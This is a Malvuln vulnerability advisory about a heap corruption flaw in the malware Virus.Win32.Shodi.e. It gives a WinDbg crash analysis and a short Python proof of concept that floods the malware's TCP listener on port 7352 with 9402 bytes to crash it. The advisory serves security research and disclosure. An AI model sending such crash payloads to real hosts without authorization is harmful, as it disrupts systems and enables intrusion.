Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/37d4a5ba123dd32f1e2c4ba0be14e77c_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Virus.Win32.Shodi.e
Vulnerability: Heap Corruption
Description: The virus listens on TCP port 7352. Third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption.
Type: PE32
MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c
Vuln ID: MVID-2021-0281
Dropped files: Explorer.eXE,Explorer.usr,r_server.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/03/2021
Memory Dump:
(1870.1494): C++ EH exception - code e06d7363 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000003 edx=00000000 esi=00000003 edi=00000003
eip=77daed3c esp=04b7f4d4 ebp=04b7f664 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
77daed3c c21400 ret 14h
0:007> .ecxr
eax=04b7fe10 ebx=04b7fec0 ecx=00000003 edx=00000000 esi=750c3d38 edi=7373f910
eip=75ec08f2 esp=04b7fe10 ebp=04b7fe68 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
KERNELBASE!RaiseException+0x62:
75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:04b7fe64=c54505cd
0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Explorer.eXE
*** ERROR: Module load completed but symbols could not be loaded for Explorer.eXE
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
KERNELBASE!RaiseException+62
75ec08f2 8b4c2454 mov ecx,dword ptr [esp+54h]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 75ec08f2 (KERNELBASE!RaiseException+0x00000062)
ExceptionCode: e06d7363 (C++ EH exception)
ExceptionFlags: 00000001
NumberParameters: 3
Parameter[0]: 19930520
Parameter[1]: 04b7fec0
Parameter[2]: 7373f910
PROCESS_NAME: Explorer.eXE
ERROR_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text>
EXCEPTION_CODE: (NTSTATUS) 0xe06d7363 - <Unable to get error code text>
EXCEPTION_PARAMETER1: 19930520
EXCEPTION_PARAMETER2: 04b7fec0
EXCEPTION_PARAMETER3: 7373f910
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001494
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun
LAST_CONTROL_TRANSFER: from 750fa222 to 75ec08f2
STACK_TEXT:
04b7fe68 750fa222 e06d7363 00000001 00000003 KERNELBASE!RaiseException+0x62
04b7feb0 7369679b 04b7fec0 7373f910 737542e8 msvcrt!_CxxThrowException+0x72
04b7fec4 7368f3c7 0000041d 00000200 00000410 mfc42!AfxThrowMemoryException+0x1b
04b7fee4 7368f103 0000041d 0019fea4 73757b18 mfc42!operator new+0x1a467
04b7ff00 73678abf 00000410 004051ec 00000410 mfc42!CString::AllocBuffer+0x16933
04b7ff1c 7369e5bc 00000410 04940488 00000000 mfc42!CString::GetBuffer+0x2f
04b7ff30 7369e474 004051d4 04b7ff50 04b7ff80 mfc42!CString::FormatV+0x2c
04b7ff40 00401814 0019fea4 004051d4 73757b24 mfc42!CString::Format+0x14
WARNING: Stack unwind information not available. Following frames may be wrong.
04b7ff80 755a8654 00000000 755a8630 757b7853 Explorer+0x1814
04b7ff94 77da4a77 00000000 c27680bf 00000000 kernel32!BaseThreadInitThunk+0x24
04b7ffdc 77da4a47 ffffffff 77dc9ec5 00000000 ntdll!__RtlUserThreadStart+0x2f
04b7ffec 00000000 0040173a 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: !heap ; ~7s; .ecxr ; kb
FOLLOWUP_IP:
mfc42!AfxThrowMemoryException+1b
7369679b cc int 3
SYMBOL_STACK_INDEX: 2
SYMBOL_NAME: mfc42!AfxThrowMemoryException+1b
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: mfc42
IMAGE_NAME: mfc42.dll
DEBUG_FLR_IMAGE_TIMESTAMP: d94bc78
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_e06d7363_mfc42.dll!AfxThrowMemoryException
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_mfc42!AfxThrowMemoryException+1b
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=7352
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="A"*9402
s.send(PAYLOAD)
s.close()
print("Virus.Win32.Shodi.e / Heap Corruption")
print("MD5: 37d4a5ba123dd32f1e2c4ba0be14e77c")
print("By Malvuln");
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).